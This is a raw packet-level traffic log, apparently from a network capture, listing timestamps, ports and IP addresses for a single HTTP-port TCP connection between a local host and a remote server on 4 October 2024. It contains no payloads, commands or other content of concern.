Oct 4, 2024 09:52:35.149924040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149935007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149946928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149966002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149981976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150000095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150012970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150032043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150046110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150063992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150078058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150096893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150110006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150135994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150162935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150173903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150218010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150249958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150269032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150285006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150300980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150312901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150331974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150366068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150392056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150418997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150441885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150449991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150456905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150500059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150505066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150533915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150556087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150566101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150583029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150598049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150614023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150629044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150641918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150660038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150671005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150692940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150711060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150724888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150738955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150758982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150772095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150791883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150824070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150845051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150861025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150866985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150871992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150901079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150913954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150934935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.150944948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.150983095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151217937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151267052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151289940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151299000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151320934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151330948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151345015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151364088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151376009 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151407957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151424885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151457071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151468992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151489019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151500940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151521921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151532888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151551962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151566029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151583910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151596069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151614904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151628017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151648045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151662111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151679993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151690960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151711941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151726961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151742935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151755095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151778936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151787996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151810884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151829004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151842117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151863098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151875973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151885033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151907921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.151922941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.151949883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.152129889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.152162075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.152175903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.152194977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.152209044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.152228117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.152240992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.152260065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.152271032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.152302027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.152304888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.152335882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.152348995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.152368069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.152380943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.152399063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.152410984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.152441025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.152443886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.152478933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.152487040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.152510881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.152523994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.152564049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240124941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240190029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240223885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240255117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240287066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240319014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240350962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240381956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240413904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240444899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240463972 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240464926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240464926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240477085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240504980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240504980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240509033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240520000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240541935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240552902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240581036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240585089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240623951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240628958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240662098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240678072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240695000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240706921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240725994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240739107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240758896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240770102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240792036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240802050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240823030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240835905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240855932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240866899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240909100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240914106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240945101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240966082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.240978003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.240989923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241008997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241024971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241041899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241055965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241074085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241086006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241106033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241122961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241141081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241152048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241174936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241188049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241208076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241225958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241256952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241262913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241285086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241307020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241317034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241321087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241349936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241364956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241381884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241398096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241413116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241427898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241445065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241461992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241476059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241492987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241508007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241524935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241539955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241550922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241570950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241586924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241604090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241615057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241636038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241653919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241667032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241681099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241694927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241710901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241727114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241754055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241761923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241782904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241795063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241808891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241827011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241839886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241861105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.241874933 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.241906881 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242134094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242166042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242187023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242209911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242213964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242245913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242259979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242275953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242288113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242309093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242324114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242340088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242355108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242372036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242387056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242403030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242419004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242434978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242449045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242466927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242480993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242499113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242522001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242530107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242554903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242562056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242578030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242594004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242609024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242625952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242640972 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242657900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242671013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242691994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242706060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242723942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242739916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242755890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242770910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242789030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242804050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242820978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.242831945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.242870092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243133068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243181944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243204117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243212938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243235111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243247032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243261099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243278980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243290901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243310928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243331909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243343115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243360996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243376017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243393898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243422985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243429899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243462086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243469000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243493080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243505955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243532896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243541956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243572950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243590117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243603945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243618011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243637085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243653059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243669987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243684053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243701935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243715048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243737936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243747950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243768930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243786097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243802071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243818045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243834019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243846893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243866920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.243895054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.243916988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244060993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.244092941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.244110107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244123936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.244137049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244155884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.244168997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244188070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.244200945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244220018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.244232893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244251966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.244265079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244283915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.244297028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244316101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.244332075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244348049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.244364023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244379997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.244390965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244412899 CEST	80	49745	141.98.233.156	192.168.2.4
